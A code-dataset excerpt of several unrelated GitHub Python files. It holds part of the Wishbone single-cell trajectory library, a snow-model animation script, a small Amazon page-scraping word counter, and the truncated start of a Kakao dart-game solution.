is None:\n raise RuntimeError('Please use scdata with diffusion maps run for Wishbone')\n\n self._scdata = scdata\n self._trajectory = None\n self._branch = None\n self._waypoints = None\n self._branch_colors = None\n\n def __repr__(self):\n c, g = self.scdata.data.shape\n _repr = ('Wishbone object: {c} cells x {g} genes\\n'.format(g=g, c=c))\n for k, v in sorted(vars(self).items()):\n if not (k == '_scdata'):\n _repr += '\\n{}={}'.format(k[1:], 'None' if v is None else 'True')\n return _repr\n\n def save(self, fout: str):# -> None:\n \"\"\"\n :param fout: str, name of archive to store pickled Experiment data in. Should end\n in '.p'.\n :return: None\n \"\"\"\n with open(fout, 'wb') as f:\n pickle.dump(vars(self), f)\n\n @classmethod\n def load(cls, fin):\n \"\"\"\n\n :param fin: str, name of pickled archive containing Experiment data\n :return: Experiment\n \"\"\"\n with open(fin, 'rb') as f:\n data = pickle.load(f)\n wb = cls(data['_scdata'], True)\n del data['_scdata']\n for k, v in data.items():\n setattr(wb, k[1:], v)\n return wb\n\n @property\n def scdata(self):\n return self._scdata\n\n @scdata.setter\n def scdata(self, item):\n if not (isinstance(item, SCData)):\n raise TypeError('data must be of type wishbone.wb.SCData')\n self._scdata = item\n\n @property\n def branch(self):\n return self._branch\n\n @branch.setter\n def branch(self, item):\n if not (isinstance(item, pd.Series) or item is None):\n raise TypeError('self.branch must be a pd.Series object')\n self._branch = item\n\n @property\n def trajectory(self):\n return self._trajectory\n\n @trajectory.setter\n def trajectory(self, item):\n if not (isinstance(item, pd.Series) or item is None):\n raise TypeError('self.trajectory must be a pd.Series object')\n self._trajectory = item\n\n @property\n def waypoints(self):\n return self._waypoints\n\n @waypoints.setter\n def waypoints(self, item):\n if not (isinstance(item, list) or item is None):\n raise TypeError('self.waypoints must be a list object')\n self._waypoints = item\n\n\n @property\n def branch_colors(self):\n return self._branch_colors\n\n @branch_colors.setter\n def branch_colors(self, item):\n if not (isinstance(item, dict) or item is None):\n raise TypeError('self.branch_colors a pd.Series object')\n self._branch_colors = item\n\n\n def run_wishbone(self, start_cell, branch=True, k=15,\n components_list=[1, 2, 3], num_waypoints=250):\n \"\"\" Function to run Wishbone.\n :param start_cell: Desired start cell. This has to be a cell in self.scdata.index\n :param branch: Use True for Wishbone and False for Wanderlust\n :param k: Number of nearest neighbors for graph construction\n :param components_list: List of components to use for running Wishbone\n :param num_waypoints: Number of waypoints to sample\n :return:\n \"\"\"\n\n # Start cell index\n s = np.where(self.scdata.diffusion_eigenvectors.index == start_cell)[0]\n if len(s) == 0:\n raise RuntimeError( 'Start cell %s not found in data. Please rerun with correct start cell' % start_cell)\n if isinstance(num_waypoints, list):\n if len(pd.Index(num_waypoints).difference(self.scdata.data.index)) > 0:\n warnings.warn('Some of the specified waypoints are not in the data. These will be removed')\n num_waypoints = list(self.scdata.data.index.intersection(num_waypoints))\n elif num_waypoints > self.scdata.data.shape[0]:\n raise RuntimeError('num_waypoints parameter is higher than the number of cells in the dataset. \\\n Please select a smaller number')\n s = s[0]\n\n # Run the algorithm\n res = wishbone.core.wishbone(\n self.scdata.diffusion_eigenvectors.ix[:, components_list].values,\n s=s, k=k, l=k, num_waypoints=num_waypoints, branch=branch)\n\n # Assign results\n trajectory = res['Trajectory']\n branches = res['Branches']\n trajectory = (trajectory - np.min(trajectory)) / (np.max(trajectory) - np.min(trajectory))\n self.trajectory = pd.Series(trajectory, index=self.scdata.data.index)\n self.branch = None\n if branch:\n self.branch = pd.Series([np.int(i) for i in branches], index=self.scdata.data.index)\n self.waypoints = list(self.scdata.data.index[res['Waypoints']])\n\n # Set branch colors\n if branch:\n self.branch_colors = dict( zip([2, 1, 3], qualitative_colors(3)))\n\n\n # Plotting functions\n # Function to plot wishbone results on tSNE\n def plot_wishbone_on_tsne(self):\n \"\"\" Plot Wishbone results on tSNE maps\n \"\"\"\n if self.trajectory is None:\n raise RuntimeError('Please run Wishbone run_wishbone before plotting')\n if self.scdata.tsne is None:\n raise RuntimeError('Please run tSNE using scdata.run_tsne before plotting')\n\n # Set up figure\n fig = plt.figure(figsize=[8, 4])\n gs = plt.GridSpec(1, 2)\n\n # Trajectory\n ax = plt.subplot(gs[0, 0])\n plt.scatter( self.scdata.tsne['x'], self.scdata.tsne['y'],\n edgecolors='none', s=size, cmap=cmap, c=self.trajectory )\n ax.xaxis.set_major_locator(plt.NullLocator())\n ax.yaxis.set_major_locator(plt.NullLocator())\n plt.title('Wishbone trajectory')\n\n # Branch\n if self.branch is not None:\n ax = plt.subplot(gs[0, 1])\n plt.scatter( self.scdata.tsne['x'], self.scdata.tsne['y'],\n edgecolors='none', s=size,\n color=[self.branch_colors[i] for i in self.branch])\n ax.xaxis.set_major_locator(plt.NullLocator())\n ax.yaxis.set_major_locator(plt.NullLocator())\n plt.title('Branch associations')\n\n return fig, ax\n\n\n\n # Function to plot trajectory\n def plot_marker_trajectory(self, markers, show_variance=False,\n no_bins=150, smoothing_factor=1, min_delta=0.1, fig=None, ax=None):\n \"\"\"Plot marker trends along trajectory\n\n :param markers: Iterable of markers/genes to be plotted.\n :param show_variance: Logical indicating if the trends should be accompanied with variance\n :param no_bins: Number of bins for calculating marker density\n :param smoothing_factor: Parameter controling the degree of smoothing\n :param min_delta: Minimum difference in marker expression after normalization to show separate trends for the two branches\n :param fig: matplotlib Figure object\n :param ax: matplotlib Axis object\n :return Dictionary containing the determined trends for the different branches\n \"\"\"\n if self.trajectory is None:\n raise RuntimeError('Please run Wishbone run_wishbone before plotting')\n # if self.scdata.data_type == 'sc-seq' and show_variance:\n # raise RuntimeError('Variance calculation is currently not supported for single-cell RNA-seq')\n\n # Compute bin locations and bin memberships\n trajectory = self.trajectory.copy()\n # Sort trajectory\n trajectory = trajectory.sort_values()\n bins = np.linspace(np.min(trajectory), np.max(trajectory), no_bins)\n\n # Compute gaussian weights for points at each location\n # Standard deviation estimated from Silverman's approximation\n stdev = np.std(trajectory) * 1.34 * len(trajectory) **(-1/5) * smoothing_factor\n weights = np.exp(-((np.tile(trajectory, [no_bins, 1]).T -\n bins) ** 2 / (2 * stdev**2))) * (1/(2*np.pi*stdev ** 2) ** 0.5)\n\n\n # Adjust weights if data has branches\n if self.branch is not None:\n\n plot_branch = True\n\n # Branch of the trunk\n trunk = self.branch[trajectory.index[0]]\n branches = list( set( self.branch).difference([trunk]))\n linetypes = pd.Series([':', '--'], index=branches)\n\n\n # Counts of branch cells in each bin\n branch_counts = pd.DataFrame(np.zeros([len(bins)-1, 3]), columns=[1, 2, 3])\n for j in branch_counts.columns:\n branch_counts[j] = pd.Series([sum(self.branch[trajectory.index[(trajectory > bins[i-1]) & \\\n (trajectory < bins[i])]] == j) for i in range(1, len(bins))])\n # Frequencies\n branch_counts = branch_counts.divide( branch_counts.sum(axis=1), axis=0)\n\n # Identify the bin with the branch point by looking at the weights\n weights = pd.DataFrame(weights, index=trajectory.index, columns=range(no_bins))\n bp_bin = weights.columns[np.where(branch_counts[trunk] < 0.9)[0][0]] + 0\n if bp_bin < 0:\n bp_bin = 3\n\n else:\n plot_branch = False\n bp_bin = no_bins\n\n weights_copy = weights.copy()\n\n # Plot marker tsne_res\n xaxis = bins\n\n # Set up return object\n ret_values = dict()\n ret_values['Trunk'] = pd.DataFrame( xaxis[0:bp_bin], columns=['x'])\n ret_values['Branch1'] = pd.DataFrame( xaxis[(bp_bin-2):], columns=['x'])\n ret_values['Branch2'] = pd.DataFrame( xaxis[(bp_bin-2):], columns=['x'])\n\n # Marker colors\n colors = qualitative_colors( len(markers) )\n scaling_factor = 2\n linewidth = 3\n\n # Set up plot\n fig, ax = get_fig(fig, ax, figsize=[14, 4])\n\n for marker,color in zip(markers, colors):\n\n # Marker expression repeated no bins times\n y = self.scdata.data.ix[trajectory.index, marker]\n rep_mark = np.tile(y, [no_bins, 1]).T\n\n\n # Normalize y\n y_min = np.percentile(y, 1)\n y = (y - y_min)/(np.percentile(y, 99) - y_min)\n y[y < 0] = 0; y[y > 1] = 1;\n norm_rep_mark = pd.DataFrame(np.tile(y, [no_bins, 1])).T\n\n\n if not plot_branch:\n # Weight and plot\n vals = (rep_mark * weights)/sum(weights)\n\n # Normalize\n vals = vals.sum(axis=0)\n vals = vals - np.min(vals)\n vals = vals/np.max(vals)\n\n # Plot\n plt.plot(xaxis, vals, label=marker, color=color, linewidth=linewidth)\n\n # Show errors if specified\n if show_variance:\n\n # Scale the marks based on y and values to be plotted\n temp = (( norm_rep_mark - vals - np.min(y))/np.max(y)) ** 2\n # Calculate standard deviations\n wstds = inner1d(np.asarray(temp).T, np.asarray(weights).T) / weights.sum()\n\n plt.fill_between(xaxis, vals - scaling_factor*wstds,\n vals + scaling_factor*wstds, alpha=0.2, color=color)\n\n # Return values\n ret_values['Trunk'][marker] = vals[0:bp_bin]\n ret_values['Branch1'][marker] = vals[(bp_bin-2):]\n ret_values['Branch2'][marker] = vals[(bp_bin-2):]\n\n else: # Branching trajectory\n rep_mark = pd.DataFrame(rep_mark, index=trajectory.index, columns=range(no_bins))\n\n plot_split = True\n # Plot trunk first\n weights = weights_copy.copy()\n\n plot_vals = ((rep_mark * weights)/np.sum(weights)).sum()\n trunk_vals = plot_vals[0:bp_bin]\n\n branch_vals = []\n for br in branches:\n # Mute weights of the branch cells and plot\n weights = weights_copy.copy()\n weights.ix[self.branch.index[self.branch == br], :] = 0\n\n plot_vals = ((rep_mark * weights)/np.sum(weights)).sum()\n branch_vals.append( plot_vals[(bp_bin-1):] )\n\n # Min and max\n temp = trunk_vals.append( branch_vals[0] ).append( branch_vals[1] )\n min_val = np.min(temp)\n max_val = np.max(temp)\n\n\n # Plot the trunk\n plot_vals = ((rep_mark * weights)/np.sum(weights)).sum()\n plot_vals = (plot_vals - min_val)/(max_val - min_val)\n plt.plot(xaxis[0:bp_bin], plot_vals[0:bp_bin],\n label=marker, color=color, linewidth=linewidth)\n\n if show_variance:\n # Calculate weighted stds for plotting\n # Scale the marks based on y and values to be plotted\n temp = (( norm_rep_mark - plot_vals - np.min(y))/np.max(y)) ** 2\n # Calculate standard deviations\n wstds = inner1d(np.asarray(temp).T, np.asarray(weights).T) / weights.sum()\n\n # Plot\n plt.fill_between(xaxis[0:bp_bin], plot_vals[0:bp_bin] - scaling_factor*wstds[0:bp_bin],\n plot_vals[0:bp_bin] + scaling_factor*wstds[0:bp_bin], alpha=0.1, color=color)\n\n # Add values to return values\n ret_values['Trunk'][marker] = plot_vals[0:bp_bin]\n\n\n\n # Identify markers which need a split\n if sum( abs(pd.Series(branch_vals[0]) - pd.Series(branch_vals[1])) > min_delta ) < 5:\n # Split not necessary, plot the trunk values\n plt.plot(xaxis[(bp_bin-1):], plot_vals[(bp_bin-1):],\n color=color, linewidth=linewidth)\n\n # Add values to return values\n ret_values['Branch1'][marker] = list(plot_vals[(bp_bin-2):])\n ret_values['Branch2'][marker] = list(plot_vals[(bp_bin-2):])\n\n if show_variance:\n # Calculate weighted stds for plotting\n # Scale the marks based on y and values to be plotted\n temp = (( norm_rep_mark - plot_vals - np.min(y))/np.max(y)) ** 2\n wstds = inner1d(np.asarray(temp).T, np.asarray(weights).T) / weights.sum()\n # Plot\n plt.fill_between(xaxis[(bp_bin-1):], plot_vals[(bp_bin-1):] - scaling_factor*wstds[(bp_bin-1):],\n plot_vals[(bp_bin-1):] + scaling_factor*wstds[(bp_bin-1):], alpha=0.1, color=color)\n else:\n # Plot the two branches separately\n for br_ind,br in enumerate(branches):\n # Mute weights of the branch cells and plot\n weights = weights_copy.copy()\n\n # Smooth weigths\n smooth_bins = 10\n if bp_bin < smooth_bins:\n smooth_bins = bp_bin - 1\n for i in range(smooth_bins):\n weights.ix[self.branch == br, bp_bin + i - smooth_bins] *= ((smooth_bins - i)/smooth_bins) * 0.25\n weights.ix[self.branch == br, (bp_bin):weights.shape[1]] = 0\n\n # Calculate values to be plotted\n plot_vals = ((rep_mark * weights)/np.sum(weights)).sum()\n plot_vals = (plot_vals - min_val)/(max_val - min_val)\n plt.plot(xaxis[(bp_bin-2):], plot_vals[(bp_bin-2):],\n linetypes[br], color=color, linewidth=linewidth)\n\n if show_variance:\n # Calculate weighted stds for plotting\n # Scale the marks based on y and values to be plotted\n temp = (( norm_rep_mark - plot_vals - np.min(y))/np.max(y)) ** 2\n # Calculate standard deviations\n wstds = inner1d(np.asarray(temp).T, np.asarray(weights).T) / weights.sum()\n\n # Plot\n plt.fill_between(xaxis[(bp_bin-1):], plot_vals[(bp_bin-1):] - scaling_factor*wstds[(bp_bin-1):],\n plot_vals[(bp_bin-1):] + scaling_factor*wstds[(bp_bin-1):], alpha=0.1, color=color)\n\n # Add values to return values\n ret_values['Branch%d' % (br_ind + 1)][marker] = list(plot_vals[(bp_bin-2):])\n\n\n # Clean up the plotting\n # Clean xlim\n plt.legend(loc=2, bbox_to_anchor=(1, 1), prop={'size':16})\n\n # Annotations\n # Add trajectory as underlay\n cm = matplotlib.cm.Spectral_r\n yval = plt.ylim()[0]\n yval = 0\n plt.scatter( trajectory, np.repeat(yval - 0.1, len(trajectory)),\n c=trajectory, cmap=cm, edgecolors='none', s=size)\n sns.despine()\n plt.xticks( np.arange(0, 1.1, 0.1) )\n\n # Clean xlim\n plt.xlim([-0.05, 1.05])\n plt.ylim([-0.2, 1.1 ])\n plt.xlabel('Wishbone trajectory')\n plt.ylabel('Normalized expression')\n\n return ret_values, fig, ax\n\n\n def plot_marker_heatmap(self, marker_trends, trajectory_range=[0, 1]):\n \"\"\" Plot expression of markers as a heatmap\n :param marker_trends: Output from the plot_marker_trajectory function\n :param trajectory_range: Range of the trajectory in which to plot the results\n \"\"\"\n if trajectory_range[0] >= trajectory_range[1]:\n raise RuntimeError('Start cannot exceed end in trajectory_range')\n if trajectory_range[0] < 0 or trajectory_range[1] > 1:\n raise RuntimeError('Please use a range between (0, 1)')\n\n # Set up figure\n markers = marker_trends['Trunk'].columns[1:]\n\n if self.branch is not None:\n fig = plt.figure(figsize = [16, 0.5*len(markers)])\n gs = plt.GridSpec( 1, 2 )\n\n branches = np.sort(list(set(marker_trends.keys()).difference(['Trunk'])))\n for i,br in enumerate(branches):\n ax = plt.subplot( gs[0, i] )\n\n # Construct the full matrix\n mat = marker_trends['Trunk'].append( marker_trends[br][2:] )\n mat.index = range(mat.shape[0])\n\n # Start and end\n start = np.where(mat['x'] >= trajectory_range[0])[0][0]\n end = np.where(mat['x'] >= trajectory_range[1])[0][0]\n\n # Plot\n plot_mat = mat.ix[start:end]\n sns.heatmap(plot_mat[markers].T,\n linecolor='none', cmap=cmap, vmin=0, vmax=1)\n ax.xaxis.set_major_locator(plt.NullLocator())\n ticks = np.arange(trajectory_range[0], trajectory_range[1]+0.1, 0.1)\n plt.xticks([np.where(plot_mat['x'] >= i)[0][0] for i in ticks], ticks)\n\n # Labels\n plt.xlabel( 'Wishbone trajectory' )\n plt.title( br )\n else:\n # Plot values from the trunk alone\n fig = plt.figure(figsize = [8, 0.5*len(markers)])\n ax = plt.gca()\n\n # Construct the full matrix\n mat = marker_trends['Trunk']\n mat.index = range(mat.shape[0])\n\n # Start and end\n start = np.where(mat['x'] >= trajectory_range[0])[0][0]\n end = np.where(mat['x'] >= trajectory_range[1])[0][0]\n\n # Plot\n plot_mat = mat.ix[start:end]\n sns.heatmap(plot_mat[markers].T,\n linecolor='none', cmap=cmap, vmin=0, vmax=1)\n ax.xaxis.set_major_locator(plt.NullLocator())\n ticks = np.arange(trajectory_range[0], trajectory_range[1]+0.1, 0.1)\n plt.xticks([np.where(plot_mat['x'] >= i)[0][0] for i in ticks], ticks)\n\n # Labels\n plt.xlabel( 'Wishbone trajectory' )\n\n\n return fig, ax\n\n\n def plot_derivatives(self, marker_trends, trajectory_range=[0, 1]):\n \"\"\" Plot change in expression of markers along trajectory\n :param marker_trends: Output from the plot_marker_trajectory function\n :param trajectory_range: Range of the trajectory in which to plot the results\n \"\"\"\n if trajectory_range[0] >= trajectory_range[1]:\n raise RuntimeError('Start cannot exceed end in trajectory_range')\n if trajectory_range[0] < 0 or trajectory_range[1] > 1:\n raise RuntimeError('Please use a range between (0, 1)')\n\n\n # Set up figure\n markers = marker_trends['Trunk'].columns[1:]\n\n if self.branch is not None:\n fig = plt.figure(figsize = [16, 0.5*len(markers)])\n gs = plt.GridSpec( 1, 2 )\n\n branches = np.sort(list(set(marker_trends.keys()).difference(['Trunk'])))\n for i,br in enumerate(branches):\n ax = plt.subplot( gs[0, i] )\n\n # Construct the full matrix\n mat = marker_trends['Trunk'].append( marker_trends[br][2:] )\n mat.index = range(mat.shape[0])\n\n # Start and end\n start = np.where(mat['x'] >= trajectory_range[0])[0][0]\n end = np.where(mat['x'] >= trajectory_range[1])[0][0]\n\n # Plot\n diffs = mat[markers].diff()\n diffs[diffs.isnull()] = 0\n\n # Update the branch points diffs\n bp_bin = marker_trends['Trunk'].shape[0]\n diffs.ix[bp_bin-1] = marker_trends[br].ix[0:1, markers].diff().ix[1]\n diffs.ix[bp_bin] = marker_trends[br].ix[1:2, markers].diff().ix[2]\n diffs = diffs.ix[start:end]\n mat = mat.ix[start:end]\n\n # Differences\n vmax = max(0.05, abs(diffs).max().max() )\n # Plot\n sns.heatmap(diffs.T, linecolor='none',\n cmap=matplotlib.cm.RdBu_r, vmin=-vmax, vmax=vmax)\n ax.xaxis.set_major_locator(plt.NullLocator())\n ticks = np.arange(trajectory_range[0], trajectory_range[1]+0.1, 0.1)\n plt.xticks([np.where(mat['x'] >= i)[0][0] for i in ticks], ticks)\n\n # Labels\n plt.xlabel( 'Wishbone trajectory' )\n plt.title( br )\n else:\n # Plot values from the trunk alone\n fig = plt.figure(figsize = [8, 0.5*len(markers)])\n ax = plt.gca()\n\n # Construct the full matrix\n mat = marker_trends['Trunk']\n mat.index = range(mat.shape[0])\n\n # Start and end\n start = np.where(mat['x'] >= trajectory_range[0])[0][0]\n end = np.where(mat['x'] >= trajectory_range[1])[0][0]\n\n # Plot\n diffs = mat[markers].diff()\n diffs[diffs.isnull()] = 0\n diffs = diffs.ix[start:end]\n mat = mat.ix[start:end]\n\n # Differences\n vmax = max(0.05, abs(diffs).max().max() )\n # Plot\n sns.heatmap(diffs.T, linecolor='none',\n cmap=matplotlib.cm.RdBu_r, vmin=-vmax, vmax=vmax)\n ax.xaxis.set_major_locator(plt.NullLocator())\n ticks = np.arange(trajectory_range[0], trajectory_range[1]+0.1, 0.1)\n plt.xticks([np.where(mat['x'] >= i)[0][0] for i in ticks], ticks)\n\n # Labels\n plt.xlabel( 'Wishbone trajectory' )\n\n return fig, ax\n","repo_name":"ManuSetty/wishbone","sub_path":"src/wishbone/wb.py","file_name":"wb.py","file_ext":"py","file_size_in_byte":59061,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"67"} +{"seq_id":"23480979411","text":"import xarray as xr\nimport pandas as pd\nimport numpy as np\nimport gc\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nplt.rcParams['animation.ffmpeg_path'] = '/snap/bin/ffmpeg'\n#plt.style.use('seaborn-whitegrid')\nimport matplotlib.gridspec as gridspec\nfrom matplotlib.animation import FFMpegWriter\nimport matplotlib.animation as animation\nfrom mpl_toolkits.axes_grid1.axes_divider import make_axes_locatable\nfrom mpl_toolkits.axes_grid1.colorbar import colorbar\nfrom matplotlib import cm\nfrom matplotlib.colors import ListedColormap, LinearSegmentedColormap\nimport os\n\n\nmpl.rcParams['font.size'] = 10\nmpl.rcParams['legend.fontsize'] = 'small'\nmpl.rcParams['figure.titlesize'] = 'small'\nmpl.rcParams['grid.color'] = 'k'\nmpl.rcParams['grid.linestyle'] = ':'\nmpl.rcParams['grid.linewidth'] = 0.5\n\ncmap = cm.get_cmap('Blues', 256)\nnewcolors = cmap(np.linspace(0, 1, 256))\nblack = np.array([0/256, 0/256, 0/256, 1])\nnewcolors[:1, :] = black\nnewcmp = ListedColormap(newcolors)\n\n\ndef read_csv(file):\n df = pd.read_csv(file)\n df = df.set_index(pd.DatetimeIndex(df['date_time']))\n return df\n\n\ndef open_data(file,variable):\n ds = xr.open_dataset(file)\n ds = ds[variable]\n return ds\n\ndef pull_pixel(ds,station):\n pixel = ds.sel(x=station[0], y=station[1])\n return pixel\n\n\n\ndef sort_data(ds,stations):\n pixel_dict = {}\n for station in station_dict:\n pixel_dict[station] = pull_pixel(ds, station_dict[station])\n\n return ds, pixel_dict\n\n\n\ndef plot_images(i,ax,ds,vmin,vmax):\n ax.set_title(str(ds[i].time.values))\n im = ax.imshow(ds[i],extent=[ds[i].x.values[0],ds[i].x.values[-1],ds[i].y.values[-1],ds[i].y.values[0]],cmap=newcmp,vmin=vmin,vmax=vmax)\n return im\n\ndef plot_station_coords(ax,station,color,s,marker):\n ax.scatter(station[0],station[1],facecolors=color, edgecolors='k',s=s,marker=marker)\n\ndef plot_stations(i,ax,station,color,ls):\n ax.plot(station[0:i].time.values,station[0:i].values,c=color,linestyle=ls,zorder=1)\n\ndef plot_between(i,ax,station,color,ls):\n ax.fill_between(station[0:i].time.values,station[0:i].values,color=color,alpha=0.3,zorder=0)\n\ndef plot_pits(ax,x,y,color,s):\n ax.scatter(x,y,zorder=10,facecolors=color, edgecolors='k',s=s)\n\n\ndef clear_ax(ax):\n ax.clear()\n\n\n\nwy_dict = {'2008':'8064','2009':'8040','2010':'8040','2011':'8040',\n '2012':'8064','2013':'8040','2014':'8040','2015':'8040',\n '2016':'8064','2017':'8040'}\n\nstation_dict = {'sasp':[261630.0,4198955.0],'sbsp':[260320.0,4198985.0]}\n\nwy = '2012'\n\nwriter = FFMpegWriter(fps=6)\n\nfig = plt.figure(figsize=(12,10))\ngs = gridspec.GridSpec(nrows=5, ncols=4, height_ratios=[1,1,0.1,1,1],width_ratios=[1,1,1,1],wspace=0.6,hspace=0.2)\nax1 = fig.add_subplot(gs[0:2,0:2])\nax2 = fig.add_subplot(gs[0:2,2:4])\naxcb = fig.add_subplot(gs[2,:])\nax3 = fig.add_subplot(gs[3,:])\nax3b = ax3.twinx()\nax4 = fig.add_subplot(gs[4,:])\nax4b = ax4.twinx()\n\ndef animate(i):\n print(i)\n clear_ax(ax1)\n clear_ax(ax2)\n clear_ax(axcb)\n clear_ax(ax3)\n clear_ax(ax3b)\n clear_ax(ax4)\n clear_ax(ax4b)\n\n dir = '/media/jon/J/model/output/sbbsa/devel/wy' + wy + '/test2/data/data0000_' + wy_dict[wy] + '/smrfOutputs'\n os.chdir(dir)\n ds = open_data('net_solar_original.nc', 'net_solar')\n ds,pixel_dict = sort_data(ds, station_dict)\n for station in pixel_dict:\n pixel_dict[station]=pixel_dict[station].resample(time='24H',base=11 + 0).sum()\n plot_between(i, ax3b, pixel_dict['sasp'],'k',ls='-')\n plot_between(i, ax4b, pixel_dict['sbsp'],'k',ls='-')\n\n\n\n dir = '/media/jon/J/model/output/sbbsa/devel/wy' + wy + '/test2/data/data0000_' + wy_dict[wy] + '/smrfOutputs'\n os.chdir(dir)\n ds = open_data('net_solar.nc', 'net_solar')\n ds,pixel_dict = sort_data(ds, station_dict)\n for station in pixel_dict:\n pixel_dict[station]=pixel_dict[station].resample(time='24H',base=11 + 0).sum()\n plot_between(i, ax3b, pixel_dict['sasp'],'salmon',ls='-')\n plot_between(i, ax4b, pixel_dict['sbsp'],'salmon',ls='-')\n\n\n dir = '/media/jon/J/model/output/sbbsa/devel/wy' + wy + '/test2/runs/run0000_' + wy_dict[wy]\n os.chdir(dir)\n ds = open_data('snow.nc', 'thickness')\n ds,pixel_dict = sort_data(ds, station_dict)\n im = plot_images(i, ax2, ds,vmin=0,vmax=4)\n plot_station_coords(ax2, station_dict['sasp'],'white',s=40,marker='$A$')\n plot_station_coords(ax2, station_dict['sbsp'],'white',s=40,marker='$B$')\n plot_stations(i, ax3, pixel_dict['sasp'],'red',ls='-')\n plot_stations(i, ax4, pixel_dict['sbsp'],'red',ls='-')\n\n dir = '/media/jon/J/model/output/sbbsa/devel/wy' + wy + '/test2/runs/run0000_' + wy_dict[wy]\n os.chdir(dir)\n ds = open_data('snow_original.nc', 'thickness')\n ds,pixel_dict = sort_data(ds,station_dict)\n im = plot_images(i, ax1, ds,vmin=0,vmax=4)\n plot_station_coords(ax1, station_dict['sasp'],'white',s=40,marker='$A$')\n plot_station_coords(ax1, station_dict['sbsp'],'white',s=40,marker='$B$')\n plot_stations(i, ax3, pixel_dict['sasp'],'black',ls='-')\n plot_stations(i, ax4, pixel_dict['sbsp'],'black',ls='-')\n\n\n\n\n dir = '/home/jon/projects/senator_beck/data/pit_data/'\n os.chdir(dir)\n df = read_csv('SASP_pit_measurements.csv')\n plot_pits(ax3, x=df.index, y=df.depth, color='k',s=40)\n\n\n dir = '/home/jon/projects/senator_beck/data/pit_data/'\n os.chdir(dir)\n df = read_csv('SBSP_pit_measurements.csv')\n plot_pits(ax4, x=df.index, y=df.depth, color='k',s=40)\n\n os.chdir('/home/jon/projects/thesis/data/')\n df = pd.read_csv('dust_events.csv')\n df = df.set_index(pd.date_range(start='10/1/'+str(int(wy)-1), periods=366, freq='D'))\n df = df[wy]\n df = df.dropna()\n for event in df.index:\n ax3b.axvline(event,linewidth=2, color='gray',zorder=0,linestyle='--',alpha=0.6)\n\n\n\n\n cb = colorbar(im, cax=axcb, orientation=\"horizontal\")\n axcb.xaxis.set_ticks_position(\"top\")\n axcb.set_xlabel('Snow Depth (m)')\n\n\n\n ax1.tick_params(axis='both', left='off', top='off', right='off', bottom='off', labelleft='off', labeltop='off', labelright='off', labelbottom='off')\n ax1.grid()\n ax1.set_xlabel('Clean Snow')\n\n ax2.tick_params(axis='both', left='off', top='off', right='off', bottom='off', labelleft='off', labeltop='off', labelright='off', labelbottom='off')\n ax2.grid()\n ax2.set_xlabel('In Situ Albedo')\n\n ax3.grid()\n ax3.set_xlim(ds.time.values[0],ds.time.values[-1])\n ax3.set_ylim(0,4)\n ax3.set_ylabel('Snow Depth (m)')\n ax3.set_zorder(1)\n ax3.patch.set_visible(False)\n ax3.text(ds.time.values[10],3.5,'A',color='black')\n ax3b.set_ylabel(r'Net Solar ($Wm^{-2}$)')\n ax3b.set_ylim(0,8000)\n ax3b.set_zorder(0)\n\n\n ax4.grid()\n ax4.set_xlim(ds.time.values[0],ds.time.values[-1])\n ax4.set_ylim(0,4)\n ax4.set_xlabel('Date')\n ax4.set_ylabel('Snow Depth (m)')\n ax4.set_zorder(1)\n ax4.text(ds.time.values[10],3.5,'B',color='black')\n ax4.patch.set_visible(False)\n ax4b.set_ylim(0,8000)\n ax4b.set_ylabel(r'Net Solar ($Wm^{-2}$)')\n ax4b.set_zorder(0)\n\n gc.collect()\n\n\n\n\n\n #plt.tight_layout()\n\n\n\n\n\n\nos.chdir('/home/jon/projects/thesis/figures/animations')\nwith writer.saving(fig,wy+\"t.mp4\",dpi=100):\n for i in range(150,330):\n animate(i)\n writer.grab_frame()\n\n\n# anim = animation.FuncAnimation(fig, animate, interval=1,frames=5)\n#animate(300)\n\n# os.chdir('/home/jon/projects/thesis/figures/animations')\n# anim.save('test.mp4',writer=writer)\n#plt.savefig('test.png')\n# plt.show()\n","repo_name":"jonwag13/animations","sub_path":"animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":7470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17743042562","text":"from bs4 import BeautifulSoup\nimport requests, string\nfrom collections import Counter\n\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef get_words_list(url):\n text = requests.get(url).text\n soup = BeautifulSoup(text, \"html5lib\")\n x = soup.find(id=\"priceblock_ourprice\")\n print(x.text)\n \n x = soup.find(id=\"comparison_title1\")\n new_url = \"https://www.amazon.com\" + x.find('a').get('href')\n print(new_url)\n get_words_list(new_url)\n\n for i in string.punctuation:\n text = text.replace(i, \"\")\n text_list = text.split()\n word_counts = Counter(text_list).most_common(50)\n return word_counts\n\ndef main():\n url = \"https://www.amazon.com/gp/product/B004HZGR5Q/ref=s9u_qpp_gw_i4?ie=UTF8&fpl=fresh&pd_rd_i=B004HZGR5Q&pd_rd_r=d2afae98-c107-11e7-b4af-bb8759a2f7d7&pd_rd_w=IJSfn&pd_rd_wg=dv3PO&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=&pf_rd_r=341FGX8R18EPS1EAC58P&pf_rd_t=36701&pf_rd_p=f719e185-4825-42a4-9507-9df1a19229d6&pf_rd_i=desktop\"\n words_list = get_words_list(url)\n\nif __name__ == \"__main__\":\n main()\n \ndef plot_words(words_list):\n words = []\n numbers = []\n for (w,n) in words_list:\n words.append(w)\n numbers.append(n)\n \n index = np.arange(len(words))\n \n fig = plt.figure()\n plt.bar(index, numbers)\n plt.xticks(index + .5, words, rotation=\"verctical\", size=\"x-small\")\n fig.savefig(\"guitar\")\n","repo_name":"cwkarav/web-scraper","sub_path":"webScraping.py","file_name":"webScraping.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2615356806","text":"# 코딩테스트 연습 / 2018 KAKAO BLIND RECRUITMENT / [1차] 다트 게임\n# 정규식 활용 문제\n\n# < 다른 풀이 >\n# def solution(dartResult):\n# answer = []\n# pow_cal = {\"S\":1,\"D\":2,\"T\":3}\n \n# temp = list(dartResult)\n# num = ''\n# for tmp in temp:\n# if tmp.isnumeric():\n# num += tmp\n# elif tmp in [\"S\", \"D\", \"T\"]:\n# answer.append(int(num)**pow_cal[tmp])\n# num = ''\n# elif tmp == \"*\":\n# if len(answer)>=2:\n# answer[-2] = answer[-2]*2\n# answer[-1] = answer[-1]*2\n# else:\n# answer[-1] = answer[-1]*2\n# elif tmp == \"#\":\n# answer[-1] = 